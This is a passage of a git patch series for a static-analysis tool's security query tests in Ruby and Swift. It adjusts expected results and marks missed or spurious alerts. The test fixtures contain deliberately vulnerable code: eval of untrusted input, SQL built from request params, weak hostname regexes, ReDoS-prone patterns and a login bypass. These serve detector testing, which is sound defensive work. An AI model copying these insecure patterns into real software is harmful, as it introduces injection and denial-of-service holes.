ActiveRecordInjection.rb:201:37:201:41 | query | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | ActiveRecordInjection.rb:222:29:222:34 | call to params | ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:222:29:222:34 | call to params | user-provided value | -| ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | -| ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | -| PgInjection.rb:14:15:14:18 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:14:15:14:18 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:15:21:15:24 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:15:21:15:24 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:20:22:20:25 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:20:22:20:25 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:21:28:21:31 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:21:28:21:31 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:32:29:32:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:32:29:32:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:44:29:44:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:44:29:44:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected index eae7c03a716..001b42c0caf 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected @@ -1,3 +1,15 @@ +#select +| impl/unsafeCode.rb:3:17:3:25 | #{...} | impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:2:12:2:17 | target | library input | impl/unsafeCode.rb:3:5:3:27 | call to eval | interpreted as code | +| impl/unsafeCode.rb:8:30:8:30 | x | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:7:12:7:12 | x | library input | impl/unsafeCode.rb:8:5:8:32 | call to eval | interpreted as code | +| impl/unsafeCode.rb:13:33:13:33 | x | impl/unsafeCode.rb:12:12:12:12 | x | impl/unsafeCode.rb:13:33:13:33 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:12:12:12:12 | x | library input | impl/unsafeCode.rb:13:5:13:35 | call to eval | interpreted as code | +| impl/unsafeCode.rb:29:10:29:15 | my_arr | impl/unsafeCode.rb:28:17:28:22 | my_arr | impl/unsafeCode.rb:29:10:29:15 | my_arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:28:17:28:22 | my_arr | library input | impl/unsafeCode.rb:29:5:29:27 | call to eval | interpreted as code | +| impl/unsafeCode.rb:34:10:34:12 | arr | impl/unsafeCode.rb:32:21:32:21 | x | impl/unsafeCode.rb:34:10:34:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:32:21:32:21 | x | library input | impl/unsafeCode.rb:34:5:34:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:40:10:40:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:40:10:40:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:40:5:40:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:44:10:44:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:44:10:44:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:44:5:44:24 | call to eval | interpreted as code | +| impl/unsafeCode.rb:49:9:49:12 | #{...} | impl/unsafeCode.rb:47:15:47:15 | x | impl/unsafeCode.rb:49:9:49:12 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:47:15:47:15 | x | library input | impl/unsafeCode.rb:52:5:52:13 | call to eval | interpreted as code | +| impl/unsafeCode.rb:56:22:56:22 | x | impl/unsafeCode.rb:55:21:55:21 | x | impl/unsafeCode.rb:56:22:56:22 | x | This string concatenation which depends on $@ is later $@. | impl/unsafeCode.rb:55:21:55:21 | x | library input | impl/unsafeCode.rb:57:5:57:13 | call to eval | interpreted as code | +| impl/unsafeCode.rb:62:10:62:12 | arr | impl/unsafeCode.rb:60:21:60:21 | x | impl/unsafeCode.rb:62:10:62:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:60:21:60:21 | x | library input | impl/unsafeCode.rb:62:5:62:23 | call to eval | interpreted as code | +| impl/unsafeCode.rb:65:10:65:13 | arr2 | impl/unsafeCode.rb:60:24:60:24 | y | impl/unsafeCode.rb:65:10:65:13 | arr2 | This array which depends on $@ is later $@. | impl/unsafeCode.rb:60:24:60:24 | y | library input | impl/unsafeCode.rb:65:5:65:25 | call to eval | interpreted as code | edges | impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | provenance | | | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | provenance | | @@ -12,18 +24,18 @@ edges | impl/unsafeCode.rb:39:5:39:7 | [post] arr : [collection] [element] | impl/unsafeCode.rb:44:10:44:12 | arr | provenance | | | impl/unsafeCode.rb:39:14:39:14 | x | impl/unsafeCode.rb:39:5:39:7 | [post] arr : [collection] [element] | provenance | | | impl/unsafeCode.rb:47:15:47:15 | x | impl/unsafeCode.rb:49:9:49:12 | #{...} | provenance | | -| impl/unsafeCode.rb:54:21:54:21 | x | impl/unsafeCode.rb:55:22:55:22 | x | provenance | | -| impl/unsafeCode.rb:59:21:59:21 | x | impl/unsafeCode.rb:60:17:60:17 | x | provenance | | -| impl/unsafeCode.rb:59:24:59:24 | y | impl/unsafeCode.rb:63:30:63:30 | y | provenance | | -| impl/unsafeCode.rb:60:5:60:7 | arr : [collection] [element 0] | impl/unsafeCode.rb:61:10:61:12 | arr | provenance | | -| impl/unsafeCode.rb:60:11:60:18 | call to Array : [collection] [element 0] | impl/unsafeCode.rb:60:5:60:7 | arr : [collection] [element 0] | provenance | | -| impl/unsafeCode.rb:60:17:60:17 | x | impl/unsafeCode.rb:60:11:60:18 | call to Array : [collection] [element 0] | provenance | | -| impl/unsafeCode.rb:63:5:63:8 | arr2 : Array [element 0] | impl/unsafeCode.rb:64:10:64:13 | arr2 | provenance | | -| impl/unsafeCode.rb:63:12:63:43 | call to [] : Array [element 0] | impl/unsafeCode.rb:63:5:63:8 | arr2 : Array [element 0] | provenance | | -| impl/unsafeCode.rb:63:13:63:32 | call to Array : Array [element 1] | impl/unsafeCode.rb:63:13:63:42 | call to join | provenance | | -| impl/unsafeCode.rb:63:13:63:42 | call to join | impl/unsafeCode.rb:63:12:63:43 | call to [] : Array [element 0] | provenance | | -| impl/unsafeCode.rb:63:19:63:31 | call to [] : Array [element 1] | impl/unsafeCode.rb:63:13:63:32 | call to Array : Array [element 1] | provenance | | -| impl/unsafeCode.rb:63:30:63:30 | y | impl/unsafeCode.rb:63:19:63:31 | call to [] : Array [element 1] | provenance | | +| impl/unsafeCode.rb:55:21:55:21 | x | impl/unsafeCode.rb:56:22:56:22 | x | provenance | | +| impl/unsafeCode.rb:60:21:60:21 | x | impl/unsafeCode.rb:61:17:61:17 | x | provenance | | +| impl/unsafeCode.rb:60:24:60:24 | y | impl/unsafeCode.rb:64:30:64:30 | y | provenance | | +| impl/unsafeCode.rb:61:5:61:7 | arr : [collection] [element 0] | impl/unsafeCode.rb:62:10:62:12 | arr | provenance | | +| impl/unsafeCode.rb:61:11:61:18 | call to Array : [collection] [element 0] | impl/unsafeCode.rb:61:5:61:7 | arr : [collection] [element 0] | provenance | | +| impl/unsafeCode.rb:61:17:61:17 | x | impl/unsafeCode.rb:61:11:61:18 | call to Array : [collection] [element 0] | provenance | | +| impl/unsafeCode.rb:64:5:64:8 | arr2 : Array [element 0] | impl/unsafeCode.rb:65:10:65:13 | arr2 | provenance | | +| impl/unsafeCode.rb:64:12:64:43 | call to [] : Array [element 0] | impl/unsafeCode.rb:64:5:64:8 | arr2 : Array [element 0] | provenance | | +| impl/unsafeCode.rb:64:13:64:32 | call to Array : Array [element 1] | impl/unsafeCode.rb:64:13:64:42 | call to join | provenance | | +| impl/unsafeCode.rb:64:13:64:42 | call to join | impl/unsafeCode.rb:64:12:64:43 | call to [] : Array [element 0] | provenance | | +| impl/unsafeCode.rb:64:19:64:31 | call to [] : Array [element 1] | impl/unsafeCode.rb:64:13:64:32 | call to Array : Array [element 1] | provenance | | +| impl/unsafeCode.rb:64:30:64:30 | y | impl/unsafeCode.rb:64:19:64:31 | call to [] : Array [element 1] | provenance | | nodes | impl/unsafeCode.rb:2:12:2:17 | target | semmle.label | target | | impl/unsafeCode.rb:3:17:3:25 | #{...} | semmle.label | #{...} | @@ -45,31 +57,19 @@ nodes | impl/unsafeCode.rb:44:10:44:12 | arr | semmle.label | arr | | impl/unsafeCode.rb:47:15:47:15 | x | semmle.label | x | | impl/unsafeCode.rb:49:9:49:12 | #{...} | semmle.label | #{...} | -| impl/unsafeCode.rb:54:21:54:21 | x | semmle.label | x | -| impl/unsafeCode.rb:55:22:55:22 | x | semmle.label | x | -| impl/unsafeCode.rb:59:21:59:21 | x | semmle.label | x | -| impl/unsafeCode.rb:59:24:59:24 | y | semmle.label | y | -| impl/unsafeCode.rb:60:5:60:7 | arr : [collection] [element 0] | semmle.label | arr : [collection] [element 0] | -| impl/unsafeCode.rb:60:11:60:18 | call to Array : [collection] [element 0] | semmle.label | call to Array : [collection] [element 0] | -| impl/unsafeCode.rb:60:17:60:17 | x | semmle.label | x | -| impl/unsafeCode.rb:61:10:61:12 | arr | semmle.label | arr | -| impl/unsafeCode.rb:63:5:63:8 | arr2 : Array [element 0] | semmle.label | arr2 : Array [element 0] | -| impl/unsafeCode.rb:63:12:63:43 | call to [] : Array [element 0] | semmle.label | call to [] : Array [element 0] | -| impl/unsafeCode.rb:63:13:63:32 | call to Array : Array [element 1] | semmle.label | call to Array : Array [element 1] | -| impl/unsafeCode.rb:63:13:63:42 | call to join | semmle.label | call to join | -| impl/unsafeCode.rb:63:19:63:31 | call to [] : Array [element 1] | semmle.label | call to [] : Array [element 1] | -| impl/unsafeCode.rb:63:30:63:30 | y | semmle.label | y | -| impl/unsafeCode.rb:64:10:64:13 | arr2 | semmle.label | arr2 | +| impl/unsafeCode.rb:55:21:55:21 | x | semmle.label | x | +| impl/unsafeCode.rb:56:22:56:22 | x | semmle.label | x | +| impl/unsafeCode.rb:60:21:60:21 | x | semmle.label | x | +| impl/unsafeCode.rb:60:24:60:24 | y | semmle.label | y | +| impl/unsafeCode.rb:61:5:61:7 | arr : [collection] [element 0] | semmle.label | arr : [collection] [element 0] | +| impl/unsafeCode.rb:61:11:61:18 | call to Array : [collection] [element 0] | semmle.label | call to Array : [collection] [element 0] | +| impl/unsafeCode.rb:61:17:61:17 | x | semmle.label | x | +| impl/unsafeCode.rb:62:10:62:12 | arr | semmle.label | arr | +| impl/unsafeCode.rb:64:5:64:8 | arr2 : Array [element 0] | semmle.label | arr2 : Array [element 0] | +| impl/unsafeCode.rb:64:12:64:43 | call to [] : Array [element 0] | semmle.label | call to [] : Array [element 0] | +| impl/unsafeCode.rb:64:13:64:32 | call to Array : Array [element 1] | semmle.label | call to Array : Array [element 1] | +| impl/unsafeCode.rb:64:13:64:42 | call to join | semmle.label | call to join | +| impl/unsafeCode.rb:64:19:64:31 | call to [] : Array [element 1] | semmle.label | call to [] : Array [element 1] | +| impl/unsafeCode.rb:64:30:64:30 | y | semmle.label | y | +| impl/unsafeCode.rb:65:10:65:13 | arr2 | semmle.label | arr2 | subpaths -#select -| impl/unsafeCode.rb:3:17:3:25 | #{...} | impl/unsafeCode.rb:2:12:2:17 | target | impl/unsafeCode.rb:3:17:3:25 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:2:12:2:17 | target | library input | impl/unsafeCode.rb:3:5:3:27 | call to eval | interpreted as code | -| impl/unsafeCode.rb:8:30:8:30 | x | impl/unsafeCode.rb:7:12:7:12 | x | impl/unsafeCode.rb:8:30:8:30 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:7:12:7:12 | x | library input | impl/unsafeCode.rb:8:5:8:32 | call to eval | interpreted as code | -| impl/unsafeCode.rb:13:33:13:33 | x | impl/unsafeCode.rb:12:12:12:12 | x | impl/unsafeCode.rb:13:33:13:33 | x | This string format which depends on $@ is later $@. | impl/unsafeCode.rb:12:12:12:12 | x | library input | impl/unsafeCode.rb:13:5:13:35 | call to eval | interpreted as code | -| impl/unsafeCode.rb:29:10:29:15 | my_arr | impl/unsafeCode.rb:28:17:28:22 | my_arr | impl/unsafeCode.rb:29:10:29:15 | my_arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:28:17:28:22 | my_arr | library input | impl/unsafeCode.rb:29:5:29:27 | call to eval | interpreted as code | -| impl/unsafeCode.rb:34:10:34:12 | arr | impl/unsafeCode.rb:32:21:32:21 | x | impl/unsafeCode.rb:34:10:34:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:32:21:32:21 | x | library input | impl/unsafeCode.rb:34:5:34:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:40:10:40:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:40:10:40:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:40:5:40:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:44:10:44:12 | arr | impl/unsafeCode.rb:37:15:37:15 | x | impl/unsafeCode.rb:44:10:44:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:37:15:37:15 | x | library input | impl/unsafeCode.rb:44:5:44:24 | call to eval | interpreted as code | -| impl/unsafeCode.rb:49:9:49:12 | #{...} | impl/unsafeCode.rb:47:15:47:15 | x | impl/unsafeCode.rb:49:9:49:12 | #{...} | This string interpolation which depends on $@ is later $@. | impl/unsafeCode.rb:47:15:47:15 | x | library input | impl/unsafeCode.rb:51:5:51:13 | call to eval | interpreted as code | -| impl/unsafeCode.rb:55:22:55:22 | x | impl/unsafeCode.rb:54:21:54:21 | x | impl/unsafeCode.rb:55:22:55:22 | x | This string concatenation which depends on $@ is later $@. | impl/unsafeCode.rb:54:21:54:21 | x | library input | impl/unsafeCode.rb:56:5:56:13 | call to eval | interpreted as code | -| impl/unsafeCode.rb:61:10:61:12 | arr | impl/unsafeCode.rb:59:21:59:21 | x | impl/unsafeCode.rb:61:10:61:12 | arr | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:21:59:21 | x | library input | impl/unsafeCode.rb:61:5:61:23 | call to eval | interpreted as code | -| impl/unsafeCode.rb:64:10:64:13 | arr2 | impl/unsafeCode.rb:59:24:59:24 | y | impl/unsafeCode.rb:64:10:64:13 | arr2 | This array which depends on $@ is later $@. | impl/unsafeCode.rb:59:24:59:24 | y | library input | impl/unsafeCode.rb:64:5:64:25 | call to eval | interpreted as code | diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb index 38a042bf7f4..b0f623c4224 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb @@ -46,7 +46,8 @@ class Foobar def hereDoc(x) # $ Source foo = <<~HERE - #{x} # $ Alert + #{x} #{# $ Alert +} HERE eval(foo) # NOT OK end From 48aefff9643f28b2e6c78097dd1b2c9fb8e28a62 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 16 Jun 2026 00:44:59 +0100 Subject: [PATCH 140/143] Add SPURIOUS and MISSING to some comments --- .../tst-IncompleteHostnameRegExp.rb | 10 +++++----- .../tst-IncompleteUrlSubstringSanitization.rb | 16 ++++++++-------- .../cwe-116/IncompleteSanitization/tst.rb | 2 +- .../security/cwe-1333-exponential-redos/tst.rb | 14 +++++++------- .../UnsafeDeserialization.rb | 4 ++-- .../ConditionalBypass.rb | 2 +- 6 files changed, 24 insertions(+), 24 deletions(-) diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb index 047e2cc6d69..50e2e257dce 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb @@ -27,7 +27,7 @@ def foo convert1({ hostname: 'test.example.com$' }); # $ Alert // NOT OK - domains = [ { hostname: 'test.example.com$' } ]; # NOT OK - but not flagged due to limitations of TypeTracking. + domains = [ { hostname: 'test.example.com$' } ]; # $ MISSING: Alert # NOT OK - but not flagged due to limitations of TypeTracking. @@ -39,7 +39,7 @@ def foo /^(http:\/\/sub.example.com\/)/i; # $ Alert // NOT OK /^https?:\/\/api.example.com/; # $ Alert // NOT OK Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # $ Alert // NOT OK - Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # NOT OK + Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # $ MISSING: Alert # NOT OK /^https:\/\/[a-z]*.example.com$/; # $ Alert // NOT OK Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # $ Alert // NOT OK @@ -48,11 +48,11 @@ def foo Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # $ Alert // NOT OK primary = 'example.com$'; - Regexp.new('test.' + primary); # NOT OK, but not detected + Regexp.new('test.' + primary); # $ MISSING: Alert # NOT OK, but not detected - Regexp.new('test.' + 'example.com$'); # NOT OK + Regexp.new('test.' + 'example.com$'); # $ MISSING: Alert # NOT OK - Regexp.new('^http://test\.example.com'); # NOT OK + Regexp.new('^http://test\.example.com'); # $ MISSING: Alert # NOT OK /^http:\/\/(..|...)\.example\.com\/index\.html/; # OK, wildcards are intentional /^http:\/\/.\.example\.com\/index\.html/; # OK, the wildcard is intentional diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb index c7b4a55642b..76a0a9ccdca 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb @@ -1,11 +1,11 @@ def test (x) - x.index("internal") != nil; # NOT OK, but not flagged - x.index("localhost") != nil; # NOT OK, but not flagged + x.index("internal") != nil; # $ MISSING: Alert # NOT OK, but not flagged + x.index("localhost") != nil; # $ MISSING: Alert # NOT OK, but not flagged x.index("secure.com") != nil; # $ Alert // NOT OK x.index("secure.net") != nil; # $ Alert // NOT OK x.index(".secure.com") != nil; # $ Alert // NOT OK - x.index("sub.secure.") != nil; # NOT OK, but not flagged - x.index(".sub.secure.") != nil; # NOT OK, but not flagged + x.index("sub.secure.") != nil; # $ MISSING: Alert # NOT OK, but not flagged + x.index(".sub.secure.") != nil; # $ MISSING: Alert # NOT OK, but not flagged x.index("secure.com") === nil; # $ Alert // NOT OK x.index("secure.com") === 0; # $ Alert // NOT OK @@ -33,7 +33,7 @@ def test (x) x.index("https://secure.com:443") != nil; # $ Alert // NOT OK x.index("https://secure.com/") != nil; # $ Alert // NOT OK - x.index(".cn") != nil; # NOT OK, but not flagged + x.index(".cn") != nil; # $ MISSING: Alert # NOT OK, but not flagged x.index(".jpg") != nil; # OK x.index("index.html") != nil; # OK x.index("index.js") != nil; # OK @@ -43,8 +43,8 @@ def test (x) x.index("secure=true") != nil; # OK (query param) x.index("&auth=") != nil; # OK (query param) - x.index(getCurrentDomain()) != nil; # NOT OK, but not flagged - x.index(location.origin) != nil; # NOT OK, but not flagged + x.index(getCurrentDomain()) != nil; # $ MISSING: Alert # NOT OK, but not flagged + x.index(location.origin) != nil; # $ MISSING: Alert # NOT OK, but not flagged x.index("tar.gz") + offset; # OK x.index("tar.gz") - offset; # OK @@ -68,7 +68,7 @@ def test (x) else doSomeThingWithTrustedURL(x); end - + x.start_with?("https://secure.com/foo/bar"); # OK - a forward slash after the domain makes prefix checks safe. x.index("https://secure.com/foo/bar") >= 0 # $ Alert // NOT OK - the url can be anywhere in the string. x.index("https://secure.com") >= 0 # $ Alert // NOT OK diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb index 09af97e96b8..0fddda9a6d5 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb @@ -220,7 +220,7 @@ def good13a(s) s = s.sub('[', '') # OK s = s.sub(']', '') # OK s.sub(/{/, '').sub(/}/, '') # OK - s.sub(']', '').sub('[', '') # $ Alert // probably OK, but still flagged + s.sub(']', '').sub('[', '') # $ SPURIOUS: Alert // probably OK, but still flagged end def good13b(s1) diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb index 8f45aff3c45..0cac356ea20 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb @@ -304,10 +304,10 @@ bad66 = /^ab(c+)+$/ # $ Alert # NOT GOOD bad67 = /(\d(\s+)*){20}/ # $ Alert -# GOOD - but we spuriously conclude that a rejecting suffix exists. +# GOOD - but we spuriously conclude that a rejecting suffix exists. good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ # $ Alert -# GOOD - but we spuriously conclude that a rejecting suffix exists. +# GOOD - but we spuriously conclude that a rejecting suffix exists. good37 = /^((x([^Y]+)?)*(Y|$))/ # $ Alert # NOT GOOD @@ -326,18 +326,18 @@ bad71 = /(a?a?)*b/ # $ Alert good38 = /(a?)*b/ # NOT GOOD - but not detected -bad72 = /(c?a?)*b/ +bad72 = /(c?a?)*b/ # $ MISSING: Alert # NOT GOOD bad73 = /(?:a|a?)+b/ # $ Alert -# NOT GOOD - but not detected. -bad74 = /(a?b?)*$/ +# NOT GOOD - but not detected. +bad74 = /(a?b?)*$/ # $ MISSING: Alert # NOT GOOD bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ # $ Alert -# NOT GOOD - but not detected +# NOT GOOD bad77 = /^((a)+\w)+$/ # $ Alert # NOT GOOD @@ -362,7 +362,7 @@ bad84 = /^((?:a{0|-)|\w\{\d)+X$/ # $ Alert bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ # $ Alert bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ # $ Alert -# NOT GOOD +# NOT GOOD bad87 = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/ # NOT GOOD diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb index 8afc514ce6c..379d6a5819b 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb @@ -67,7 +67,7 @@ class UsersController < ActionController::Base # TODO: false positive; we aren't detecting flow from `:json` to the call argument. more_options = { allow_blank: true } more_options[:mode] = :json - object4 = Oj.load json_data, more_options # $ Alert + object4 = Oj.load json_data, more_options # $ SPURIOUS: Alert end # GOOD @@ -127,7 +127,7 @@ class UsersController < ActionController::Base # GOOD def route17 yaml_data = params[:key] - object = Psych.parse_stream(yaml_data) + object = Psych.parse_stream(yaml_data) object = Psych.parse(yaml_data) object = Psych.parse_file(yaml_data) end diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb index 1a6dd87ab79..b6e2b6a50ab 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb @@ -18,7 +18,7 @@ class FooController < ActionController::Base def bad_handler3 # BAD. Not detected: its the last statement in the method, so it doesn't # match the heuristic for an action. - login if params[:login] + login if params[:login] # $ MISSING: Alert end def bad_handler4 From 7ef19112e406bf1934c488d21c67e7b6fbd7da2e Mon Sep 17 00:00:00 2001 From: Jeroen Ketema <93738568+jketema@users.noreply.github.com> Date: Tue, 16 Jun 2026 14:53:18 +0200 Subject: [PATCH 141/143] Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift index 9a8ecbf2488..334c71bd685 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift @@ -40,7 +40,7 @@ func testCoreData2_1(obj: MyManagedObject2, maybeObj: MyManagedObject2?, value: obj.myBankAccountNumber2 = value // $ MISSING: Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] obj.myBankAccountNumber2 = bankAccountNo // $ Alert[swift/cleartext-storage-database] obj.notStoredBankAccountNumber = value // GOOD (not stored in the database) - obj.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] + obj.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the database) [FALSE POSITIVE] maybeObj?.myValue = value // GOOD (not sensitive) maybeObj?.myValue = bankAccountNo // $ Alert[swift/cleartext-storage-database] From 4bfc2fd791dd24699aedbfe2f541143182697005 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema <93738568+jketema@users.noreply.github.com> Date: Tue, 16 Jun 2026 14:53:48 +0200 Subject: [PATCH 142/143] Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift index 334c71bd685..c935562c5f5 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift +++ b/swift/ql/test/query-tests/Security/CWE-311/testCoreData2.swift @@ -49,7 +49,7 @@ func testCoreData2_1(obj: MyManagedObject2, maybeObj: MyManagedObject2?, value: maybeObj?.myBankAccountNumber2 = value // $ MISSING: 